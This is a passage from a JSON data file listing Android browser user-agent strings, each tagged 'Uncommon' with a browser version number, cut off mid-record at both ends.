Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; es-es; Sony Tablet S Build\\/TISU0143) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; SGH-T679 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; GT-P3113 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Callpod Keeper for Android 1.0 (10.1.0\\/239) Dalvik\\/2.1.0 (Linux; U; Android 5.0; SAMSUNG-SM-G870A Build\\/LRX21T)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; ASUS Transformer Pad TF300T Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Android 5.0.2; en-us) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; TECNO M3 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4.2\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; es-mx; ALCATEL ONE TOUCH 5036A Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.2 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; SCH-I535 Build\\/JRO03L) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; HTC_H1000C Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.2; en-us; SCH-I400 Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; N810 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-za; GT-P5100 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; USCCADR6325US Carrier ID 45 Build\\/GRJ22) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-gb; MZ604 Build\\/I.7.1-45) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.3; en-us; SonyEricssonR800at Build\\/3.0.1.B.0.285) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; es-mx; Azumi A35S Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, likeGecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; es-ve; CM980 Build\\/HuaweiCM980) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/1.6.0 (Linux; U; Android 4.4.2; SM-T530 Build\\/KOT49H)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; de-de; ZTE Blade L2 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SCH-S968C Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-gb; SAMSUNG GT-S6810P\\/S6810PXXAMC4 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.7; en-us; 5860e Build\\/GWK74) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; GT-I9100 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-gb; GT-I9505 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; SPH-L710 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.0; en-us;) AppleWebKit\\/538.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/538.1 (Kobo Touch)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SGH-T599N Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.4; it-it; GT-I9060I Build\\/KTU84P) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; fi-fi; GT-I9300 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; Z930L Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; GT-S7582 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; Digitac Ultratab;C714 Build\\/ICS) AppleWebKit\\/534.13 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.13\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; generic) AppleWebKit\\/537.36 (KHTML, like Gecko; Google Web Preview) Version\\/4.0 Mobile Safari\\/537.36\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; es-us; GT-N7000 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; it-it; HUAWEI Y600-U20 Build\\/HUAWEIY600-U20) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; Trio AXS Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-gb; SM-T110 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; it-it; GT-P3110 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-; SAMSUNG-SGH-I717 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; it-it; GT-I8150 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-au; GT-S5830 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; TAB-740_G Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; QMobile A30 Build\\/QMobileA30) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-gb; GT-N7000 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.3; en-us; SPH-M910 Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; ZTE-Z740 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; LG-P769 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.0; en-us; Xoom Build\\/HRI39) AppleWebKit\\/525.10  (KHTML, like Gecko) Version\\/3.0.4 Mobile Safari\\/523.12.2\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-au; GT-I9305T Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; HUAWEI Y300-0100 Build\\/HuaweiY300-0100) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; SoftwinerEvb Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4.4\",\"ua\":\"Mozilla\\/5.0(Linux\\/3.4.5; U; Android 4.4.2; zh-cn; Lenovo A536 Build\\/KOT49H)AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.4.2 Mobile Safari\\/534.30 Release\\/01.17.2014\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; HTC_0P9O110\\/1.53.502.12 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SCH-I110 Build\\/FH1) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.1-update1; en-us; Garminfone Build\\/ERE27) AppleWebKit\\/530.17 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/530.17; A50-V5.0.70-user-20101025\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; Prestige 7L_4.1 Build\\/Prestige) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Android 6.0.1;) AppleWebKit\\/1.1 Version\\/4.0 Mobile Safari\\/1.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; SCH-R530U Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30 USCC-R530U\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; A1-810 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/1.6.0 (Linux; U; Android 4.1.2; GT-N8013 Build\\/JZO54K)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; PM36100\\/2.22.502.1 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; fi-fi; GT-P5220 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.4; en-gb; SM-G530H Build\\/KTU84P) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; LG-LS855 Build\\/GRJ22) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; it-it; GT-I9100 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-gb; GT-P5200 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4.2\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; LG-LS995 Build\\/JDQ39B) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.2 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; U670C Build\\/GRK39F) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; SCH-L710 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; ja-jp; F-01F Build\\/V10R22A) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; zh-cn; Lephone_TD506_TD\\/1.0 Android\\/4.0.3 Release\\/3.20.2013 Browser\\/AppleWebKit534.30 Build\\/MocorDroid4.0.3) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4.2\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-gb; ALCATEL ONETOUCH P310A Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.2 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; SGH-T999 Build\\/JRO03L) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; pt-br; LG-E405f Build\\/GRK39F) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1 MMS\\/LG-Android-MMS-V1.2\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; WFJWAE Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-I9505 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-gb; SAMSUNG GT-I9100\\/I9100XWMS2 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4.2\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; es-mx; ONE TOUCH 4016A Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.2 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.2; en-us; SGH-T859 Build\\/HTJ85B) AppleWebKit\\/534.13 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.13\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-ca; SGH-I317M Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-gb; GT-I9100 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; HTC_One_M8\\/1.58.502.1 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; SAMSUNG-SGH-I897 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-gb; SM-T211 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-au; GT-N8000 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; VS910 4G Build\\/GRK39F) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-gb; GT-I9300 Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Android 5.0.1; HTC6525LVW Build\\/LRX22C) AppleWebKit\\/537.36 (KHTML, like Gecko) NTENTBrowser\\/2.0.0.22 (Kcell-KZ) Mobile Safari\\/537.36\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.2; en-ca; GT-P7500R Build\\/HTJ85B) AppleWebKit\\/534.13 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.13\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SCH-R740C Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; en-us; LG-P509 Build\\/FRF91) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1 MMS\\/LG-Android-MMS-V1.0\\/1.2\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; DA220HQL Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; LG-LS840 Build\\/ZVK.IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"DESAY TS1008\\/1.0 Release\\/07.12.2013 Mozilla\\/5.0 (Linux; U; Android 4.0.3; zh-cn) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; Xoom Build\\/IMM76L) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; it-it; GT-S6500 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-ca; SM-T310 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-ca; A500 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.7; en-us; XT560 Build\\/V1.67A) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-nz; GT-I9300 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.3; es-us; ADR8995 Build\\/GRI40) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.1; en-gb; HTC_Wildfire_A3333 Build\\/FRG83D) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-ca; Transformer TF101 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; he-il; GT-I8190T Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; Micromax A35 Build\\/IML74K) AppleWebKit\\/534.30(KHTML,like Gecko) \\t\\t\\tVersion\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SAMSUNG-SGH-I997 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; XT603 Build\\/5.5.1Q-117_PAX-79) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; pt-br; SM-T111M Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 